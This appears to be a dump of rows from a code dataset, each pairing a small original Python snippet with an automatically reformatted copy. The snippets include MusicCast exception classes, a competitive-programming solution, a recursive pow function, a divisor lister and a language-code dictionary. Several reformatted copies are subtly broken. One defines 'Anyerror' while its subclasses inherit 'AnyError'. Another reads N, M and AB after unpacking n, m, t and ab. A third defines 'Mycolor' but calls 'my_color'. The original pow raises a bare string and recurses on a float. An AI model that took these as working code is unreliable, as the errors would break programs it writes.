return {'coord': payload.coord.__dict__, 'weather': [payload.weather[0].__dict__], 'base': payload.base, 'main': payload.main.__dict__, 'visibility': payload.visibility, 'wind': payload.wind.__dict__, 'clouds': payload.clouds.__dict__, 'dt': payload.dt, 'sys': payload.sys.__dict__, 'timezone': payload.timezone, 'id': payload.id, 'name': payload.name, 'cod': payload.cod} |
'''
Exceptions definitions for the MusicCast package.
All are inherited from the Exception class, with the member
'message' available.
Types of Errors:
* CommsError: any type of communication error which should not be due
to a bad command or a command issued at the wrong time.
*
'''
# TODO: Categorise errors =====================================================
# Connection not working
# Device offline?
# Wrong commands, not recognised
# Data read not as expected
# Arguments from commands missing or wrong type
class AnyError(Exception):
''' Docstring'''
pass
class CommsError(AnyError):
''' Docstring'''
pass
class LogicError(AnyError):
''' Docstring'''
pass
class ConfigError(AnyError):
''' Docstring'''
pass
class MusicCastError(AnyError):
''' Docstring'''
pass
#===============================================================================
#
#
# class mcConfigError(AnyError): #DONE
# pass
#
# class mcConnectError(AnyError): # DONE
# ''' There is no connection, so network might be down, or
# local interface not working...'''
# pass
#
# class mcDeviceError(AnyError): # DONE
# ''' The device responds but could not execute whatever was asked.'''
# pass
#
# class mcSyntaxError(AnyError): #DONE
# pass
#
# class mcHTTPError(AnyError): # DONE
# ''' Protocol error, there was misunderstanding in the communication.'''
# pass
#
# class mcLogicError(AnyError): # DONE
# pass
#
# class mcProtocolError(AnyError):
# pass
#===============================================================================
| """
Exceptions definitions for the MusicCast package.
All are inherited from the Exception class, with the member
'message' available.
Types of Errors:
* CommsError: any type of communication error which should not be due
to a bad command or a command issued at the wrong time.
*
"""
class Anyerror(Exception):
""" Docstring"""
pass
class Commserror(AnyError):
""" Docstring"""
pass
class Logicerror(AnyError):
""" Docstring"""
pass
class Configerror(AnyError):
""" Docstring"""
pass
class Musiccasterror(AnyError):
""" Docstring"""
pass |
N, M, T = [int(n) for n in input().split()]
AB = N
p = 0
ans = 'Yes'
for m in range(M):
a, b = [int(n) for n in input().split()]
AB -= (a-p)
if AB <= 0:
ans = 'No'
break
AB = min(AB+(b-a), N)
p = b
if AB - (T-b) <= 0:
ans = 'No'
print(ans) | (n, m, t) = [int(n) for n in input().split()]
ab = N
p = 0
ans = 'Yes'
for m in range(M):
(a, b) = [int(n) for n in input().split()]
ab -= a - p
if AB <= 0:
ans = 'No'
break
ab = min(AB + (b - a), N)
p = b
if AB - (T - b) <= 0:
ans = 'No'
print(ans) |
def pow(n,m):
if(m < 0):
raise("m must be greater than or equal to 0")
elif(m == 0):
return 1
elif(m % 2 == 0):
# this is an optimization to reduce the number of calls
x = pow(n, m/2)
return (x * x)
else:
return n * pow(n, m - 1)
print(pow(2,3))
print(pow(4,3))
print(pow(10,5))
print(pow(1000,0)) | def pow(n, m):
if m < 0:
raise 'm must be greater than or equal to 0'
elif m == 0:
return 1
elif m % 2 == 0:
x = pow(n, m / 2)
return x * x
else:
return n * pow(n, m - 1)
print(pow(2, 3))
print(pow(4, 3))
print(pow(10, 5))
print(pow(1000, 0)) |
# customize string representations of objects
class myColor():
def __init__(self):
self.red = 50
self.green = 75
self.blue = 100
# TODO: use getattr to dynamically return a value
def __getattr__(self, attr):
pass
# TODO: use setattr to dynamically return a value
def __setattr__(self, attr, val):
super().__setattr__(attr, val)
# TODO: use dir to list the available properties
def __dir__(self):
pass
def main():
# create an instance of myColor
cls1 = myColor()
# TODO: print the value of a computed attribute
# TODO: set the value of a computed attribute
# TODO: access a regular attribute
# TODO: list the available attributes
if __name__ == "__main__":
main()
| class Mycolor:
def __init__(self):
self.red = 50
self.green = 75
self.blue = 100
def __getattr__(self, attr):
pass
def __setattr__(self, attr, val):
super().__setattr__(attr, val)
def __dir__(self):
pass
def main():
cls1 = my_color()
if __name__ == '__main__':
main() |
def diviser(numero):
lista = []
a = 0
while a < numero // 2:
a = a + 1
if numero % a == 0:
lista.append(a)
#let's not forget the last number: the number itself!
lista.append(numero)
return lista
years = [1995, 1973, 2006, 1953, 1939, 1931, 1962, 1951]
#num = int(input("Numero da dividere? "))
for elemento in years:
print(diviser(elemento))
| def diviser(numero):
lista = []
a = 0
while a < numero // 2:
a = a + 1
if numero % a == 0:
lista.append(a)
lista.append(numero)
return lista
years = [1995, 1973, 2006, 1953, 1939, 1931, 1962, 1951]
for elemento in years:
print(diviser(elemento)) |
# used by tests
abc = 1
| abc = 1 |
languages = {
54: "af",
28: "sq",
522: "am",
1: "ar",
5121: "ar-AL",
15361: "ar-BA",
3073: "ar-EG",
2049: "ar-IQ",
11265: "ar-JO",
13313: "ar-KU",
12289: "ar-LE",
4097: "ar-LI",
6145: "ar-MO",
8193: "ar-OM",
16385: "ar-QA",
1025: "ar-SA",
10241: "ar-SY",
7169: "ar-TU",
14337: "ar-UA",
9217: "ar-YE",
43: "hy",
77: "as",
44: "az",
2092: "az-CY",
1068: "az-LA",
45: "eu",
35: "be",
69: "bn",
517: "bs",
2: "bg",
523: "my",
36363: "my-BR",
3: "ca",
4: "zh",
3076: "zh-HK",
5124: "zh-MA",
34820: "zh-MN",
2052: "zh-PR",
32772: "zh-SM",
4100: "zh-SI",
1028: "zh-TA",
31748: "zh-HT",
33796: "zh-DO",
518: "hr",
5: "cs",
6: "da",
19: "nl",
2067: "nl-BE",
1043: "nl-NL",
9: "en",
3081: "en-AU",
10249: "en-BE",
4105: "en-CA",
9225: "en-CB",
6153: "en-IR",
8201: "en-JA",
5129: "en-NZ",
13321: "en-PH",
33801: "en-SO",
7177: "en-SA",
32777: "en-TG",
11273: "en-TR",
2057: "en-GB",
1033: "en-US",
12297: "en-ZI",
37: "et",
56: "fo",
41: "fa",
525: "fi-IL",
11: "fi",
12: "fr",
2060: "fr-BE",
3084: "fr-CA",
5132: "fr-LU",
6156: "fr-MO",
1036: "fr-FR",
4108: "fr-SW",
514: "gd",
55: "ka",
7: "de",
3079: "de-AU",
5127: "de-LI",
4103: "de-LU",
1031: "de-DE",
2055: "de-SW",
8: "el",
513: "gl",
71: "gu",
531: "ht",
13: "he",
57: "hi",
14: "hu",
15: "is",
33: "id",
32801: "id-BA",
1057: "id-ID",
16: "it",
1040: "it-IT",
2064: "it-SW",
17: "ja",
75: "kn",
96: "ks",
2144: "ks-IN",
63: "kk",
520: "kh",
33288: "kh-KC",
87: "ki",
18: "ko",
2066: "ko-JO",
1042: "ko-KO",
37906: "ko-RO",
38: "lv",
39: "lt",
2087: "lt-CL",
1063: "lt-LT",
47: "mk",
62: "ms",
2110: "ms-BR",
1086: "ms-MS",
76: "ml",
515: "ml-LT",
88: "ma",
78: "mr",
97: "ne",
2145: "ne-IN",
20: "nb",
1044: "nb-NO",
2068: "nn-NO",
72: "or",
516: "ps",
33284: "ps-AF",
34308: "ps-DW",
21: "pl",
22: "pt",
1046: "pt-BR",
2070: "pt-ST",
70: "pa",
24: "ro",
25: "ru",
79: "sa",
26: "sr",
1050: "sr-YU",
3098: "sr-CY",
2074: "sr-LA",
89: "sd",
519: "si",
27: "sk",
36: "sl",
526: "st",
10: "es",
11274: "es-AR",
16394: "es-NO",
13322: "es-CH",
9226: "es-CO",
5130: "es-CR",
7178: "es-DR",
12298: "es-EQ",
17418: "es-EL",
4106: "es-GU",
18442: "es-HO",
38922: "es-IN",
2058: "es-ME",
3082: "es-MS",
19466: "es-NI",
6154: "es-PA",
15370: "es-PA",
10250: "es-PE",
20490: "es-PR",
36874: "es-IN",
1034: "es-ES",
14346: "es-UR",
8202: "es-VE",
65: "sw",
29: "sv",
2077: "sv-FI",
1053: "sv-SV",
73: "ta",
68: "tt",
74: "te",
30: "th",
39966: "th-LO",
1054: "th-TH",
31: "tr",
34: "uk",
32: "ur",
2080: "ur-IN",
1056: "ur-PA",
67: "uz",
2115: "uz-CY",
1091: "uz-LA",
42: "vi",
512: "cy",
524: "xh",
521: "zu"
} | languages = {54: 'af', 28: 'sq', 522: 'am', 1: 'ar', 5121: 'ar-AL', 15361: 'ar-BA', 3073: 'ar-EG', 2049: 'ar-IQ', 11265: 'ar-JO', 13313: 'ar-KU', 12289: 'ar-LE', 4097: 'ar-LI', 6145: 'ar-MO', 8193: 'ar-OM', 16385: 'ar-QA', 1025: 'ar-SA', 10241: 'ar-SY', 7169: 'ar-TU', 14337: 'ar-UA', 9217: 'ar-YE', 43: 'hy', 77: 'as', 44: 'az', 2092: 'az-CY', 1068: 'az-LA', 45: 'eu', 35: 'be', 69: 'bn', 517: 'bs', 2: 'bg', 523: 'my', 36363: 'my-BR', 3: 'ca', 4: 'zh', 3076: 'zh-HK', 5124: 'zh-MA', 34820: 'zh-MN', 2052: 'zh-PR', 32772: 'zh-SM', 4100: 'zh-SI', 1028: 'zh-TA', 31748: 'zh-HT', 33796: 'zh-DO', 518: 'hr', 5: 'cs', 6: 'da', 19: 'nl', 2067: 'nl-BE', 1043: 'nl-NL', 9: 'en', 3081: 'en-AU', 10249: 'en-BE', 4105: 'en-CA', 9225: 'en-CB', 6153: 'en-IR', 8201: 'en-JA', 5129: 'en-NZ', 13321: 'en-PH', 33801: 'en-SO', 7177: 'en-SA', 32777: 'en-TG', 11273: 'en-TR', 2057: 'en-GB', 1033: 'en-US', 12297: 'en-ZI', 37: 'et', 56: 'fo', 41: 'fa', 525: 'fi-IL', 11: 'fi', 12: 'fr', 2060: 'fr-BE', 3084: 'fr-CA', 5132: 'fr-LU', 6156: 'fr-MO', 1036: 'fr-FR', 4108: 'fr-SW', 514: 'gd', 55: 'ka', 7: 'de', 3079: 'de-AU', 5127: 'de-LI', 4103: 'de-LU', 1031: 'de-DE', 2055: 'de-SW', 8: 'el', 513: 'gl', 71: 'gu', 531: 'ht', 13: 'he', 57: 'hi', 14: 'hu', 15: 'is', 33: 'id', 32801: 'id-BA', 1057: 'id-ID', 16: 'it', 1040: 'it-IT', 2064: 'it-SW', 17: 'ja', 75: 'kn', 96: 'ks', 2144: 'ks-IN', 63: 'kk', 520: 'kh', 33288: 'kh-KC', 87: 'ki', 18: 'ko', 2066: 'ko-JO', 1042: 'ko-KO', 37906: 'ko-RO', 38: 'lv', 39: 'lt', 2087: 'lt-CL', 1063: 'lt-LT', 47: 'mk', 62: 'ms', 2110: 'ms-BR', 1086: 'ms-MS', 76: 'ml', 515: 'ml-LT', 88: 'ma', 78: 'mr', 97: 'ne', 2145: 'ne-IN', 20: 'nb', 1044: 'nb-NO', 2068: 'nn-NO', 72: 'or', 516: 'ps', 33284: 'ps-AF', 34308: 'ps-DW', 21: 'pl', 22: 'pt', 1046: 'pt-BR', 2070: 'pt-ST', 70: 'pa', 24: 'ro', 25: 'ru', 79: 'sa', 26: 'sr', 1050: 'sr-YU', 3098: 'sr-CY', 2074: 'sr-LA', 89: 'sd', 519: 'si', 27: 'sk', 36: 'sl', 526: 'st', 10: 'es', 11274: 'es-AR', 16394: 'es-NO', 13322: 'es-CH', 9226: 'es-CO', 5130: 'es-CR', 7178: 'es-DR', 12298: 'es-EQ', 17418: 'es-EL', 4106: 'es-GU', 18442: 'es-HO', 38922: 'es-IN', 2058: 'es-ME', 3082: 'es-MS', 19466: 'es-NI', 6154: 'es-PA', 15370: 'es-PA', 10250: 'es-PE', 20490: 'es-PR', 36874: 'es-IN', 1034: 'es-ES', 14346: 'es-UR', 8202: 'es-VE', 65: 'sw', 29: 'sv', 2077: 'sv-FI', 1053: 'sv-SV', 73: 'ta', 68: 'tt', 74: 'te', 30: 'th', 39966: 'th-LO', 1054: 'th-TH', 31: 'tr', 34: 'uk', 32: 'ur', 2080: 'ur-IN', 1056: 'ur-PA', 67: 'uz', 2115: 'uz-CY', 1091: 'uz-LA', 42: 'vi', 512: 'cy', 524: 'xh', 521: 'zu'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.